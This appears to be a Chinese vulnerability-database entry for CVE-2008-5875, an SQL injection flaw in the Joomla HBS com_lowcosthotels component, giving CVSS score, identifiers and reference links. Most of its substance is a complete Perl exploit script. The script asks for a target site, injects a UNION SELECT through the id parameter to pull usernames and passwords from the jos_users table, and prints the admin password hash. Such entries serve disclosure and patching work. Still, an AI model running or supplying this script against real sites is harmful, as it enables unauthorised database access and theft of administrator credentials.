Joomla ! HBS com_lowcosthotels组件SQL注入漏洞

QQ空间 新浪微博 微信 QQ facebook twitter
漏洞ID 1184143 漏洞类型 SQL注入
发布时间 2009-01-08 更新时间 2009-01-08
CVE编号 CVE-2008-5875 CNNVD-ID CNNVD-200901-080
漏洞平台 N/A CVSS评分 7.5
|漏洞来源
https://www.securityfocus.com/bid/80790
https://cxsecurity.com/issue/WLB-2009010135
http://www.cnnvd.org.cn/web/xxk/ldxqById.tag?CNNVD=CNNVD-200901-080
|漏洞详情
Joomla!是一款开放源码的内容管理系统(CMS)。Joomla!HotelBookingReservationSystem(又称HBS)中的com_lowcosthotels组件存在SQL注入漏洞。远程攻击者可以借助对index.php的显示酒店详情操作中的id参数,执行任意的SQL指令。
|漏洞EXP
This can be exploited to manipulate SQL queries by injecting arbitrary SQL code .

exploit --

#!/usr/bin/perl 
#Joomla com_lowcosthotels Sql injection#
########################################
#[] Author :  Lovebug
#[] www.rbt-4.net
#[] Module_Name:  com_lowcosthotels
#[] Script_Name:  Joomla
########################################
 
use LWP::UserAgent;
 
print "\n Target :   http://wwww.site.com/path/   : ";
 chomp(my $target=<STDIN>);
 
$cn="concat(username,0x3a,password)";
$table_name="jos_users";
 
$br = LWP::UserAgent->new() or die "Could not initialize browser\n";
$br->agent('Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 5.1)');
 
$host = $target .   "/index.php?option=com_lowcosthotels&task=showhoteldetails&id=1+union+se
lect+1,".$cn."+from/**/".$table_name."--";
$res = $br->request(HTTP::Request->new(GET=>$host));$answer = $res->content; if ($answer =~/([0-9a-fA-F]{32})/){
  print "\n[+] Admin Hash : $1\n\n";
  
}
else{print "\n[-] Exploit failed.\n";
}
|受影响的产品
Joomlahbs Hotel Booking Reservation System Nil Joomlahbs Com Lowcosthotels Nil
|参考资料

来源:BID
名称:32952
链接:http://www.securityfocus.com/bid/32952
来源:BUGTRAQ
名称:20081225joomlacom_lowcosthotelssqlinjection
链接:http://www.securityfocus.com/archive/1/499580/30/0/threaded
来源:MILW0RM
名称:7567
链接:http://www.milw0rm.com/exploits/7567
来源:SREASON
名称:4880
链接:http://securityreason.com/securityalert/4880